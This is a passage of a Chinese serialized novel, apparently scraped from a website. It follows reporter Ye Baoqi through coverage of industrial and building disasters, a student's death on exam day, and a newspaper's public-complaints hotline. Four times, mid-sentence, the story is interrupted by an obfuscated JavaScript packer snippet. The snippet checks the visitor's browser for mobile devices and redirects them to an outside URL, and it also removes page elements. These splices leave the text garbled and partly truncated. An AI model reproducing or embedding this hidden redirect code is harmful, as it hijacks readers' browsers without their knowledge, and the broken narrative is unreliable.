叶葆启跟着一队人,挪到一处墙体拐角。忽然,一个救援人员竖起耳朵,摆手示意安静。极细微的,叮……叮……叮……像是金属敲击的声音,从一堆厚重的预制板下传来。 “下面有动静!”低吼声里带着急切。 清理加快了。当最后一块水泥板被撬开一道缝隙时,下面露出一个狭小的三角空间。一个人蜷在那里,浑身披覆着厚厚的尘土,几乎与废墟同色。只有怀里紧紧搂着的一个铁皮工具箱,还泛着一点黯淡的光。 “小心!轻点!”几双手小心地探下去,将人托出。那人被灰尘糊住了眼,费力地睁开一条缝,嘴唇翕动。 叶葆启凑过去。他听到气若游丝的几个字: “……班长……推了我……他……他在那边……”一只沾着灰土的手,颤巍巍地,指向废墟更深处。 叶葆启的视线模糊了。他举起相机,透过水汽,记录下那被尘土包裹的、重见天日的脸庞,记录下救援者脸上那混合着疲惫与紧张的复杂神情。那一刻,他觉得自己拍下的是一尊刚刚出土的、尚有生命痕迹的塑像。 天黑透了,雨终于落下来。冰凉的雨丝打在瓦砾上,滋滋作响,腾起更浓的白雾。搜寻在风雨中继续。叶葆启浑身透湿,寒冷彻骨,腹中空空,却毫无食欲。他不敢离开,手里的笔和相机,沉甸甸的。他知道,此刻记录的每一道痕迹,都是对这场事件的一份见证。 凌晨时分,救援暂告段落。伤亡数字初步统计出来。一个平淡无奇的午后,许多人的生活被骤然改变,一些家庭的顶梁柱,轰然倒下。 回程的吉普车里,一片沉寂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904170|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摄影记者望着窗外飞速倒退的、霓虹闪烁的城市光影,喃喃道:“那边是事故现场,这边是平常街市。不过隔着一段路的距离。” 叶葆启紧紧抱着怀里湿透的采访本。那些字迹被雨水洇开些许,模糊了。上面记着:黑烟的形状,废墟的景象,人们的表情,那个被同伴推开者眼里,劫后余生的空洞……他知道,即将完成的这篇稿子,将带着现场沉重的气息。 报社编辑部,灯火通明。陈秉烛主任看着叶葆启进门,看着他苍白的脸和往下滴水的衣角,没有说话,只将一杯滚烫的浓茶推到他面前。 叶葆启坐下,摊开稿纸。笔尖悬在纸面上空,颤抖着,久久不肯落下。那些画面在脑海里翻腾,情感绞缠成一股沉重的绳索。终于,他落下第一笔,抛弃所有浮华的修饰,只用最克制、最平实的笔触,从那股“连接天地间的黑烟”写起,写损毁的厂房,写执着的挖掘,写攀升的数字,写家属眼中世界崩塌的声响,写那个幸存者口中关于“推了一把”的片段。他力求客观,不渲染,只让那些事实,如同现场散落的碎片,呈现它们本身的棱角。 只在最后,他添上几行,笔迹格外沉重: “事故因何发生?规程是否得到恪守?平日的防范,是否筑牢?鲜血换来的诘问,悬于人心。生命的价值,不该总在事后追量。” 写完,窗外天际已透出蟹壳青。雨停了,城市在湿漉漉的晨曦中苏醒。但叶葆启明白,对某些家庭而言,艰难的日子,才刚刚开始。他将稿子递给陈秉烛,声音沙哑:“主任,请您审阅。” 陈秉烛飞快地扫过那些文字,厚厚的眼镜片后,目光沉郁。他提起笔,在稿签上划下一个有力的“发”字,沉吟片刻,又添上一行小字:“宜配编者按,强调安全生产重于泰山。” 次日,《内海都市报》头版,一行醒目标题。叶葆启的报道,配着摄影记者那张幸存者被抬出的照片,占据显著版面。文章像一块投入水中的石头,激起层层波澜。追问原因、呼吁重视安全的声音,随之而起。 随后几日,叶葆启继续跟进:厂方的应对,全市开展的安全检查,以及遇难者家属接过抚恤时,那双依旧茫然、仿佛望向远方的眼睛。 这场“灰烬之舞”,改变了许多事物的轨迹,也在叶葆启的记者生涯里,刻下一道新的印记。他更深切地懂得,笔下流淌的,是责任;那些规章制度,每一个字都关联着鲜活的生命。他的文字,在原有的温热底色上,悄然生长出一种冷峻的、属于审视与反思的锋芒。 几天后,他独自又去了一趟厂区旧址。废墟正在清理,巨大的机械臂缓慢起落。焦黑的痕迹依旧醒目。他在那歪斜的厂门口静立片刻,掏出三支香烟,就着风点燃,插进潮湿的、混杂着沙石的泥土里。三点暗红,在料峭的风中明灭,青烟袅袅,上升,很快消散在无边无际的、灰白色的天空里。 生命脆弱,而教训,应当被铭记。记者的职责,或许就是做那个在流逝的时光中,为这些记忆寻找安放之处的记录者。他转身离去,背影融入初春尚未褪尽的、凛冽的寒气中。 19. 第019章 春日的尘骸 那天中午,叶葆启和老赵蹲在报社后街的摊子上吃面。阳光稠得像化不开的猪油,糊在青石板路上。老赵的面碗里浮着一层猩红的辣油,他正埋头吸溜,额头上沁出细密的汗珠。叶葆启的筷子在汤里搅动,看着葱花打旋——后来他总记得这个细节,仿佛那些翠绿的碎片已在预示某种不安的旋转。 面汤忽然漾起奇异的波纹。 不是地震。是一种更深沉、更缓慢的蠕动,仿佛地底有巨兽翻身前的哈欠。紧接着,声音来了——那不是爆炸声,更像是城市打了个饱嗝,从脏腑深处涌上来的一声闷嗝。闷,却带着撕裂布帛般的尾音,从西边漫过来。 老赵的筷子停在半空,一滴红油坠入面汤,绽开。“啥动静?” 叶葆启已经站了起来。他看见西路街方向的天空,正以一种不可思议的速度变色——先是昏黄,像旧照片的底色;旋即转为浊灰,仿佛有只无形的手将整片天空揉皱、撒上一把陈年的香灰。尘烟不是升腾,而是泼洒,泼墨似的淹没了半边天光。 街上的人群静止了一瞬。卖糖人的老头举着未成形的凤凰,凤凰的翅膀在颤抖;骑自行车的女人单脚点地,回头时辫梢划出半个焦灼的弧。然后,声音才真正抵达:不是轰响,是无数碎裂声的合鸣,玻璃的、混凝土的、陶瓷的、木头的,还有——后来叶葆启确信自己听见了——无数声惊叫被碾碎在坍塌里的闷响。 “走!”他喉咙里挤出这个字时,才发现自己一直攥着那双筷子,竹筷在他掌心刻下深红的印子。 吉普车像受惊的甲虫在街上窜。越往西,景象越怪诞:一只高跟鞋孤零零立在路中央,鞋跟断了,像折颈的鸟;花盆从阳台上滚落,泥土撒成诡异的扇形,一株月季躺在碎陶片间,花瓣还在风中簌簌地抖;空气中飘着棉絮般的灰尘,落在人肩上就不化,很快每个人都像披了件灰扑扑的丧服。 车再也走不动了。叶葆启跳下来,踩着满地的碎玻璃往前走,玻璃在脚下发出牙齿相磨的细响。然后他看见了—— 西路街百货商场,那栋他童年时常跟母亲来扯布的五层楼,此刻歪斜着,以一种极不情愿的姿势瘫软下来。不是倒塌,是坍塌:三楼以上像被抽了骨头的皮肉,软塌塌地堆叠下来,露出断裂的钢筋——那些钢筋不是银色,是锈红色的,弯曲的姿态像垂死挣扎的蚯蚓。水泥板层层相压,缝隙里挤出花花绿绿的布料、压扁的搪瓷盆、一支口红在废墟顶端红得刺眼。 最诡异的是寂静。那么大的坍塌之后,竟有片刻的死寂。灰尘缓缓沉降,在斜射的阳光下形成一道昏黄的光柱,光柱里尘埃翻滚,如同慢放的梦境。然后声音才从废墟深处渗出来:先是细微的呻吟,像地底虫鸣;接着是呼救,断断续续,被砖石过滤得缥缈;最后是哭声,许多人的哭声绞在一起,分不清男女老幼。 救援的人已经在了。消防员的橘色制服在灰扑扑的背景上移动,像几点将熄的炭火。他们用手扒,用肩扛,动作急促却无声——所有的声音都被那座废墟吸走了。叶葆启举起相机,取景框里的世界在颤抖。他按下快门,听见机械的“咔嗒”声,那么清脆,几乎显得不合时宜。 一个中年女人坐在马路牙子上,额头的血已经凝固,在脸上画出暗红的溪流。她怀里抱着几卷布,布匹散开了,靛蓝的底子上印着白梅,此刻沾满了灰。“我在量布,”她对着空气说,眼睛却不看任何人,“刚量到第三尺,就听见头顶咔嚓一声,像老房子的房梁断了……”她手指无意识地摩挲布面,“李姐说要给我留最新的灯芯绒,紫红色的,她说穿那个显年轻……” 叶葆启的采访本摊在膝上,一个字也写不出。钢笔从手里滑落,滚进下水道的铁栅格里。他弯腰去捡,透过栅格看见黑黢黢的流水,水面上漂着一只童鞋,红色的,鞋头有个破了的虎头图案。 废墟上的救援变成了某种怪异的仪式。当生命探测仪发出鸣响,所有人都会屏息。那一刻,连风都静止。然后铁锹、撬棍、甚至手指,开始挖掘那片被标注的区域。挖出来的有时是活人——一个售货员被拖出来时,手里还紧紧攥着开票的圆珠笔,笔尖在颤抖,在尘埃上划出无意义的弧线;有时是遗体,被小心地裹上白布,白布很快渗出各种形状的深色痕迹。 黄昏时分,废墟深处传出了歌声。很轻,断断续续,是《茉莉花》。救援人员停下来倾听,确定方位后疯狂挖掘。挖了四个小时,在交错的水泥板下找到了声源:一个被压住双腿的女孩,十二三岁,怀里抱着个音乐盒。盒子已经变形,但发条还在转,叮叮咚咚地挤出残缺的旋律。女孩神志不清,反复哼着那首歌的片段。音乐盒的盖子半开着,里面跳舞的小人断了胳膊,还在机械地旋转。 叶葆启在临时救护站帮忙抬担架。一个老人的手从白布下滑落,手背上布满老年斑,指甲缝里有新鲜的泥土。他托起那只手,感到残留的体温正一点点褪去,像退潮。护士掰开 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事故报告很快出来了:违规加建、结构老化、超负荷使用。那些字眼在纸上排列整齐,像一列列小小的墓碑。叶葆启在终稿里写:“春天本该生长,这里却有了过早的收割。四十七个名字被镌刻进统计报表的竖栏,像种子被埋进不合时令的土壤。而土壤本身,是我们共同浇筑的疏忽。” 文章见报那日,他重返西路街。废墟已清理大半,留下一个巨大的坑。坑底积着前夜的雨水,水色浑浊,倒映着破碎的天空。几个老人蹲在坑边烧纸,纸灰打着旋上升,碰到春日的柳枝,柳枝新发的嫩芽沾了灰,像未老先衰。 风从坑底卷上来,带着泥土和石灰的气味,还有一种更深的气味——后来他想了很久,那是无数生活痕迹突然中断后留下的空洞气息,是半截口红、未量完的布匹、没吃完的午餐、写到一半的作业本……所有戛然而止的日常,发酵成的味道。 叶葆启站了很久,直到暮色四合。路灯亮起时,他看见坑底的水洼映出第一颗星。那么小,那么亮,陷在泥泞的倒影里,却依然坚持闪烁着。 他转身离开。脚步落在柏油路上,发出空空的回响。采访包里的相机随着步伐轻轻叩击腰侧,像一颗缓慢跳动的心脏。前方,城市的灯火次第亮起,每一盏光里都住着未完成的故事。而他的笔和镜头,注定要在明暗交界处行走,拾起那些被震落的尘屑,让它们在纸上重新获得重量——即使这重量,常常压得人彻夜难眠。 走到街口时,他回头最后望了一眼。那个深坑在夜色中已看不清轮廓,融进更大的黑暗里。只有烧纸的火光还在一明一灭,像大地微弱的心跳。 20. 第020章 一次数学考试 盛夏六月,空气被煎烤成黏稠的蜜糖,裹挟着粉笔灰、汗碱和铁锈般的焦虑。这焦灼是有形体的——它像一头蛰伏在内海市每扇窗后的透明巨兽,随着考场上笔尖划破试卷的“沙沙”声,一起一伏地呼吸。 六月七日,正午的日头白得晃眼,仿佛天上挂着一面巨大的铝箔。叶葆启穿行在各考点外,他的采访本被汗浸得酥软。家长们站在梧桐树稀薄的阴影里,眼珠像抛过光的玻璃弹子,死死盯着那扇决定命运的校门。空气里弥漫着风油精和劣质香水混杂的气味,那气味也是紧张的,一丝丝钻进人的肺腑。 下午数学考试结束的铃声,像一把生锈的剪刀,“咔嚓”一声剪断了紧绷的神经。考生们涌出来,面孔如一片被揉皱又摊开的宣纸,喜怒哀乐在上面晕染成模糊的水渍。叶葆启正要离开,忽然听见远处传来一声闷响——不像雷声,倒像一麻袋湿透的谷子从高处坠地。 紧接着,一种奇异的寂静以内海五中为中心荡漾开来。先是一两声尖叫,像玻璃碴子划破绸布,随后寂静便吞没了一切喧哗。叶葆启感到脚下的柏油路微微震颤,仿佛大地咽下了一口难以消化的东西。 内海五中校门口,人群如退潮般空出一圈。有人指着教学楼四楼那扇洞开的窗户——窗框还在微微颤动,像一只刚吐出骨头的嘴。警戒线迅速拉起,黄得刺眼,如同给这片水泥地贴上一道符咒。沙土匆忙掩盖着那滩暗红,可那红色太倔强,仍从沙粒缝隙里渗出来,在阳光下变成无数只细小的、窥探的眼。 叶葆启设法钻进校门。空气里飘着一种甜腥气,混着栀子花晚谢的颓败芬芳。他看见几个穿校服的学生被老师搀扶着走过,他们的脚步骤然变轻,脚尖几乎不沾地,仿佛一群被抽去骨头的纸人。一个女生突然对着花坛呕吐,吐出的不是食物,而是几近透明的、带着泡沫的液体——像把魂魄呕出了一部分。 医院的长廊被日光灯照得惨白,墙壁散发出福尔马林和绝望混合的气味。家属蜷缩在塑料椅上,哭声不是连贯的,而是一截一截的,像扯断的肠子。校方和教育局的人站在阴影里,面孔模糊,他们的低语如同干燥的虫蛀在木头里爬行。叶葆启试图靠近,却感觉空气变得黏滞,像有无形的胶质隔在中间——那是官方的沉默筑起的墙。 果然,电话来了。听筒里的声音像是从很深的地下传来,每个字都浸过冰水:“意外失足……健康原因……按口径报道。”叶葆启盯着话筒,仿佛看见那些词语在空气中凝结成灰色的、方正的墓碑,齐刷刷立在他面前。 他不信。记忆是有重量的——那些考生苍白的脸,报刊亭老板压低的嗓音,空气里甜腥的味道,都在他颅腔里嗡嗡作响。他再次来到五中附近,绕着那栋楼转圈。夕阳把教学楼影子拉得很长,那影子边缘毛茸茸的,像在不安地蠕动。 报刊亭老板的眼睛在镜片后闪烁,像两枚泡在福尔马林里的标本:“我瞧得真真儿的,那女娃子在窗边立了有一支烟的工夫。风吹着她的校服,鼓起来,又瘪下去,像在叹气。后来她身子往前一倾——不是失足,是像跳水的人那样,张开手臂,栽了下去。” 旁边卖冰棍的老太婆咂着没牙的嘴,喃喃道:“作孽哟……昨夜我梦见好多白蛾子,围着这楼飞,赶也赶不走。今早果然……” 叶葆启在巷子口“偶遇”几个神色恍惚的学生。一个男生眼神涣散,盯着自己的指尖:“考数学的时候,我听见她在吸鼻子,很小声,像老鼠啃木头。交卷时她卷子背面……有大片空白,白得吓人,像雪地。”另一个女生突然捂住脸:“她复读那年,几乎不说话。课桌里总放着半块干瘪的馒头,她说吃得太饱脑子会钝。她手指总是黑的,不是脏,是墨水沁到指甲缝里,洗不掉。” 拼图一块块浮现。林世媛,复读生,父母是化工厂工人,手指常年泛黄洗不净。家里墙上贴满了她从小到大的奖状,边缘卷曲,像枯死的蝶翅。她睡的床板下压着一沓写满“我要考上”的纸,纸页被汗水浸得发脆,字迹洇开如哭花的眼妆。 叶葆启试图寻找家属。找到那片老家属区时,只见门上贴着褪色的门神,秦叔宝和尉迟恭的脸已被雨水泡得模糊。邻居隔着门缝说:“昨儿半夜搬走啦,来了辆面包车,一点声响也没有,像载着一车棉花。”空气里残留着廉价线香的味道,还有一丝若有若无的、铁锈般的悲伤,久久不散。 阻力如盛夏的藤蔓疯长。教育局的走廊长得没有尽头,两侧办公室的门紧闭如蚌壳。偶尔有门开一条缝,探出的眼睛迅速扫他一眼,又“咔哒”合上,像含住一颗不该出现的沙砾。 叶葆启的笔在纸上犁行。他写那栋教学楼:“四楼的窗从此总在无风时自己开合,铰链发出老人咳嗽般的声响。”他写考场的压力:“那不是抽象的东西,它有形,灰扑扑的,沉甸甸地压在每一个考生的脊梁上,能听见轻微的、骨头的呻吟。”他采访的心理专家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶葆启望向窗外。内海市的夏夜,灯火璀璨如倒悬的星河。他仿佛看见,无数个年轻的灵魂正背着沉重的书包,在灯火与黑暗的交界处蹒跚而行。他们背上压着的,不仅是书本,还有祖辈目光织成的网,未来许诺的海市蜃楼,以及整个时代急于向前奔跑时扬起的、令人窒息的尘埃。 而那个从未谋面的女生林世媛,或许已化成了一只透明的白蛾,绕着每一盏深夜苦读的台灯,轻轻扑扇翅膀。翅膀上,隐约有数学公式的花纹,有父母期望的纹路,还有一滴永不干涸的、六月的露水——那露水里,倒映着无数个同样年轻的、挣扎的、渴望飞翔又害怕坠落的,脸。 21. 第021章 听潮阁记事 一九九七年春,香港将归的消息像浸了蜜的风,甜丝丝地贴着内海市的街巷游走。而在《内海都市报》那幢灰扑扑的楼里,办公室的铁皮柜后头,正暗暗发酵着一件新鲜事。 叶葆启守着夜间电话站满三年了。那些从听筒里溢出来的声音,白日里是听不见的——它们总在深夜凝结成形,有时是带锈的水滴声,有时是电线短路的焦糊味,更多时候是粘稠的、化不开的叹息。他渐渐悟出个理:许多事悬在半空,不是没人伸手,而是伸出的手总在半道拐了弯,像被什么无形的东西舔去了指尖。 “何不请尊泥塑真身,来咱这烟火处坐一坐?”那日例会,叶葆启话音落得轻,却在陈秉烛镜片上撞出细微的涟漪。 会议室静得能听见墙上剥落的石灰屑坠地的声音。解平生喉结滚了滚,像咽下一枚带刺的果子。 陈秉烛的钢笔在纸上洇开一个墨点:“请神容易送神难。来了若只是泥胎镀金身,香火缭绕间演一场木偶戏,倒不如不请。” “试试便知。”叶葆启的声音像从很深的地方浮上来,“先请管水脉的龙王爷。夏日将临,高处的屋檐底下,多少水缸正张着干裂的嘴。” 这主意像颗奇异的种子,在请示与斟酌的土壤里发了芽。最终定下名目,唤作“听潮阁”——取的是听民间潮声之意,比那直愣愣的三个字要婉转些。 首请的果然是自来水公司。副经理王祎接到帖子时,正在办公室里侍弄一盆蔫了的文竹。听罢来意,他指尖的水珠悬在半空,许久才落进土里。“媒体设坛……”他喃喃道,仿佛看见自己成了戏台上的丑角。 四月第一个星期二,午后日头斜斜切进会议室。红布横幅悬在墙上,墨字吃得有些饱,微微晕开。长桌这边,王祎坐得笔直,仿佛脊梁骨里插了根看不见的秤杆。两位科长一左一右,像庙里侍奉香火的童子。对面,叶葆启和解平生隐在笔记本垒起的矮墙后,只露出半张脸。 两点整,三部黑色电话静静趴着,像三只蜷缩的甲虫。 起初的寂静是粘稠的。王祎端起茶杯,瓷盖轻磕杯沿的声音脆得吓人。就在这时,最左边那只甲虫突然活了过来,震颤着发出尖锐的嘶鸣。 “是管水的衙门吗?”听筒里的声音带着毛边,像砂纸打磨铁器,“桃花园南里,三楼往上,水龙头张了半个月的哑巴嘴!你们莫非是要老百姓用眼珠子解渴?” 王祎的手一抖,茶水泼湿了袖口。他慌忙凑近听筒,那姿势像在倾听一个易碎的梦。旁边的科长翻开册子,纸页哗啦作响如受惊的鸟群。“老旧管网,末端乏力……”声音低得像蚊蚋。 “莫念经!”那头的老汉吼声震得听筒发颤,“只问何时见真佛?” 汗珠从王祎额角钻出来,沿着太阳穴画出一道亮晶晶的线。他瞥见叶葆启的笔尖正在纸上游走,沙沙声如春蚕食叶。“老伯,明日……最迟明日日落前,必有人登门叩诊。” “当真?白纸黑字可记着呢!” “当真。”二字吐出,重若秤砣。 电话刚挂,中间那只甲虫又嘶鸣起来。两个小时里,铃声此起彼伏,织成一张密密的网。有妇人哭诉水管裂了三个月,清水白白流进地缝,像淌走的命数;有年轻人质问抄表员的眼神为何冷过腊月冰凌;还有学究模样的声音,拐弯抹角探听水价涨跌的天机。 王祎渐渐变了模样。起初的拘谨像件不合身的外套,被一波接一波的声浪冲刷得松了扣子。他开始前倾身体,肘部压在桌面印出两个深色的圆斑,问话时手指不自觉地在空中划着圈。某次,当他当场允诺更换某片锈蚀的阀门时,听筒里先是一段空白,接着传来压抑的抽噎——那声音很轻,却像根细针,刺穿了会议室里凝滞的空气。 四点,铃声歇了。王祎瘫进椅背,长长吐出一口气,那气息里混着铁锈味和说不清的疲惫。“叶记者,”他苦笑,眼角堆起细密的纹路,“这听潮阁的潮声,轰得人耳蜗里直响钟磬。” 叶葆启推过一杯温茶。茶水澄澈,映着天花板上摇晃的日光灯管。“潮声本就在那儿,不过平日隔着层层宫墙罢了。” 次日见报的文章,题为《听潮阁初记:水司闻潮》。叶葆启写得克制,字里行间却藏着暗流。他写王祎袖口的茶渍如何由深变浅,写电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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某日总编执报沉吟,对陈秉烛笑道:“秉烛啊,你们这阁子,把官袍晾在了市井声里。妙就妙在,晾着晾着,有些针脚便显了形。” 这话辗转传到叶葆启耳中时,他正在整理下一期的录音带。磁带悠悠转动,倒带回某个片刻——那是供电局老局长面对质问时,长达十秒的沉默。空白里,只有电流的嘶嘶声,像极了土地干裂前的叹息。 “听潮阁”就这样生了根,在内海市的肌理里悄悄蔓延。叶葆启尚未料到,这些从电话线里打捞上来的潮声,终将汇成更汹涌的暗流,在未来的年月里,拍打出连他自己都心惊的回响。而此刻,春日尚暖,阁中的电话静静趴着,等待下一轮潮汛。 22. 第022章 雨夜听潮阁 雨来得没有预兆。午后天空开始沉淀一种铅灰色的情绪,云层低垂仿佛触手可及。到了约定的时间,豆大的雨点终于砸下来,在玻璃窗上炸开一朵朵转瞬即逝的水花。会议室里,市房管局副局长老刘望着窗外怔了片刻——那雨帘密得看不见对街的楼。 “这雨,”他喉结动了动,“是要试探那些老骨头的承重了。” 话音落进雨声里,像是某种应验。热线电话在下一秒骤然响起,不是一声两声,而是同时炸开三四道铃声,撕破了室内短暂的寂静。 “听潮阁吗?我是海北区树林街的!屋顶漏成了筛子,床上漂着锅碗瓢盆!” “市南区湾德庄!老房子的山墙裂开了嘴,雨水正往喉咙里灌呢!” “鸿运区西水沽!外墙皮整片剥落,砸在地上溅起的水花比人还高!” 声音从听筒里溢出来,带着雨水的潮湿和某种原始的恐惧。老刘和带来的两名科长交换了眼神——那是一种猎人听见兽群逼近时特有的警觉。记录纸在他们手中迅速铺展、填满,墨迹在潮气里微微晕开,像渐渐扩大的水渍。 这已不是寻常的问询。这是汛期里房屋们集体发出的呻吟。 老刘忽然站起来,椅子腿在地板上刮出短促的呜咽。他抓起一部电话,拨回那个他熟悉的号码,声音却变得陌生——更高、更硬,像淬过火的铁: “启动三级响应。所有能动的队伍全部上街。优先处理这些地址——”他报出一串地名,每个音节都像钉子般楔进空气里。 小小的会议室开始变形。桌椅的边界模糊了,电话线像藤蔓般缠绕延伸,人们的身影在昏黄的灯光下晃动、重叠。这里不再是报社的普通房间,它成了一个临时的巢穴,收容着整个城市在雨夜里的惶恐。老刘坐在中心,挽起的袖口下露出半截小臂,青筋随着每一次指令微微跳动。 叶葆启握着听筒,感觉电流的嗡鸣顺着导线爬进掌心。他看见老刘一边对着地图划出标记,一边对着电话说“再坚持一刻钟,人已经在路上了”,那声音又忽然软下来,软得像对自家老人说话。两种声音在同一个喉咙里交替,如此自然,仿佛人本就该有这两副面孔。 窗外的雷声不是霹雳,而是低沉的、持续的隆隆,像是大地在翻身。闪电偶尔切开雨幕,那一瞬间,会议室里所有人的脸都被照成青白色,定格成一张张浮世绘。 一个特别的电话挤了进来。是个老太太,哭腔里夹着雨声: “领导……我不是要修房子……我回不了家了……” 她说海东区那片低洼地已经成了池塘,水漫过膝盖,她提着菜篮子站在对岸,看见自己的家门在雨水中微微晃动,像海市蜃楼。邻居们都困在各自的孤岛上,彼此能望见,却渡不过去。 老刘沉默了三个呼吸的时间。叶葆启看见他闭了闭眼,再睁开时,那里面有某种东西沉淀下去,又有某种东西浮起来。 “这不是我们一家能摆平的事了,”他说,声音很轻,像是自言自语。然后转向叶葆启:“帮我接防汛指挥部,还有派出所。” 电话线在这一刻成了血管,将不同器官连接起来。橡皮艇在积水的街道上漂浮的画面,通过电流传递回来,变成语言,再在听潮阁里重新组装成图像。老太太被背进艇里时,菜篮子还紧紧攥在手中,里面浸透的蔬菜在雨中泛着幽暗的光。 “有些事啊,”老刘挂断电话后,望着窗外说,“就像这雨,它才不管归哪个部门管。它只是下,下到所有界限都模糊了。” 雨持续到晚上八点多才渐渐收敛。统计数字最终落在七十三——这是雨夜通过这条线路传递出的求救信号。房管局的人马在城市的毛细血管里穿梭,像白细胞扑向创口。没有英雄式的凯旋,只有疲惫的回报:“海北区三处堵住了”,“市南区裂墙临时支护了”,“鸿运区坠落物清理完毕”。 老刘终于允许自己瘫进椅子。那姿态不是坐下,而是某种东西从他体内流走了,留下一个空壳。他接过叶葆启递来的热水时,手有轻微的颤抖,杯沿碰击牙齿发出细碎的响声。 “今天这听潮阁,”叶葆启说,“听到的是真潮。” 老刘扯了扯嘴角,那笑容像一道即将愈合的伤口:“潮水退去,才会看见谁在裸泳。老旧房子的问 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听潮阁的名声就这样随着雨水渗进了城市的土壤。要求来“坐镇”的部门排起了队,那名单越来越长,长得需要专门的本子来记录。总编在评报会上笑出了眼角的褶子:“咱们这阁子,算是撞响了一口钟。” 但叶葆启心里明白,钟声传得越远,持锤的手就越要稳。他和同事们开始打磨流程:潮汛来临前的征兆该如何捕捉,不同季节的潮汐有何特性,退潮后留下的痕迹又该如何辨认。听潮阁渐渐长出了自己的规矩,像一棵树在适应了土壤后,开始分杈、长叶。 而这一切的源头,要追溯到更早的时辰——当叶葆启还在公交车上撕票根的那些年,他听见乘客的抱怨在车厢里漂浮、碰撞,最后沉淀在他意识的底层。那些话语起初像沙粒,后来在某个恰好的温度和湿度下,竟然开始分泌某种黏液,将自己粘合成一颗种子。如今这颗种子在1997年夏天的暴雨中破土,长出第一个节。 它会长成什么,还没人知道。但每个经过听潮阁的人都会看见,那扇窗后的灯光,在雨夜里总是亮得格外久一些。 23. 第023章 听潮阁的回响 叶葆启没料到,那间挤满旧档案柜的办公室,有一天会变成潮水的源头。 起初只是涓涓细流。穿深蓝制服的自来水公司王祎第一个坐在那部红色电话机前时,额头上的汗珠在日光灯下亮得像河底的卵石。他握听筒的手指关节发白,仿佛攥着的不是塑料,而是某段滑腻的活物。墙上的电扇嗡嗡转着,把百姓的话语搅成一阵又一阵的、带着铁锈味的风。 后来,不同颜色的制服轮番出现在那张掉漆的木椅上。他们像候场的戏子,在帘子后清嗓子,整理衣领上并不存在的灰尘。电话铃响时,总会惊起短暂的寂静,仿佛潮头在远处蓄势。然后,声音涌进来——苍老的、尖利的、哽咽的、愤怒的——汇成一片模糊而坚韧的喧响,漫过门槛,漫过走廊,在报社老楼长满苔藓的砖缝里生根。 陈秉烛把这方寸之地唤作“听潮阁”。名字起得雅,内里却是滚烫的。叶葆启有时深夜独坐,会觉得那些声音并未消散,而是凝结成了水珠,从天花板渗下来,一滴,一滴,砸在摊开的笔记本上,晕开一滩滩字迹模糊的苦楚。 央媒那位先生来的那天,穿着洗得发白的卡其布外套,像一位寻访古迹的塾师。他坐在堆满信件的长凳上,听叶葆启讲如何“请神”,如何“安神”,如何用方格稿纸铺成渡桥,让两岸的影子能短暂地对望。先生不作声,只用一支老式钢笔在牛皮本上记,笔尖划过纸面的声音,细碎如春蚕食叶。末了,他合上本子,轻轻叹了一句:“这阁子里,听的何止是潮啊。” 通稿发往全国那日,是个阴天。云层低垂,仿佛一伸手就能蘸到墨汁。叶葆启去买早点的路上,看见街角阅报栏前挤满了人,那些铅字透过玻璃,映在无数沉默的瞳孔里。他知道,有些东西再也关不住了。 果然,四面八方的信笺如离巢的灰鸽,扑棱棱落满办公室的窗台。有盖着朱红大印的公函,纸硬挺,透着衙门深处特有的、樟木与旧案卷混合的气味;有娟秀的钢笔字,来自江南水乡某座小楼里的书院,询问“听潮”之术可否引为课上案例;也有粗粝的牛皮纸信封,边角磨损,贴着遥远北国的邮票,里面是厚厚一沓手稿,字迹激动地倾斜,称此为“一剂醒世的汤药”。 来访者络绎不绝。一位从关外来的女记者,脖颈围着火红的围巾,她盯着那部红色电话机,忽然轻声说:“它真像一颗心脏。”另一位两鬓斑白的学者,在屋里踱步良久,指尖拂过墙上贴满的诉求纸条,喃喃道:“符咒……这都是祈愿的符咒啊。” 叶葆启招待他们喝水,用的是报社统一配发的白瓷缸,缸身上“先进生产”的红字已斑驳。他说话慢,带着本地口音特有的、水汽氤氲的调子:“没啥玄乎的。就是让该听的人,坐下来听。耳朵贴得近了,总能听见点什么。”陈秉烛则在一旁,用火柴慢慢点烟,烟雾升腾,遮住他半张脸,话音从雾里透出来,稳如秤砣:“心摆正了,椅子就稳。椅子稳了,潮声再大,也翻不了船。” 名声是件沉重的袍子。夜里,叶葆启常梦见自己变成那个坐在木椅上的人,电话铃响成一片海啸,无数苍白的手从听筒里伸出来,抓住他的手腕,冰冷彻骨。他惊醒,听见真实的夜雨敲打窗棂,淅淅沥沥,像永不疲倦的耳语。 压力化作各种形状前来叩门。有带着谦和笑容的“沟通”,话语如裹了丝绒的卵石;有涉及盘根错节旧账的难题,像一团浸透水的乱麻,沉甸甸地搁在桌上,扯不断,理还乱;也有话筒那头骤然爆发的哭骂,尖锐如碎瓷,划破午后昏沉的空气。叶葆启学会了泡一种极浓的苦茶,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶葆启独自又站了一会儿。他仿佛听见,那潮声并未远去,它渗进了地底,在看不见的深处蜿蜒、汇聚,等待着下一次月亮的牵引,再一次漫上人间沉默的堤岸。而那间小小的“听潮阁”,连同里面那把被磨得发亮的木椅,那部颜色褪成旧血的电话,都将成为这漫长回响中,一个微不足道、却又无法抹去的音节。 24. 第024章 听潮阁闻涛 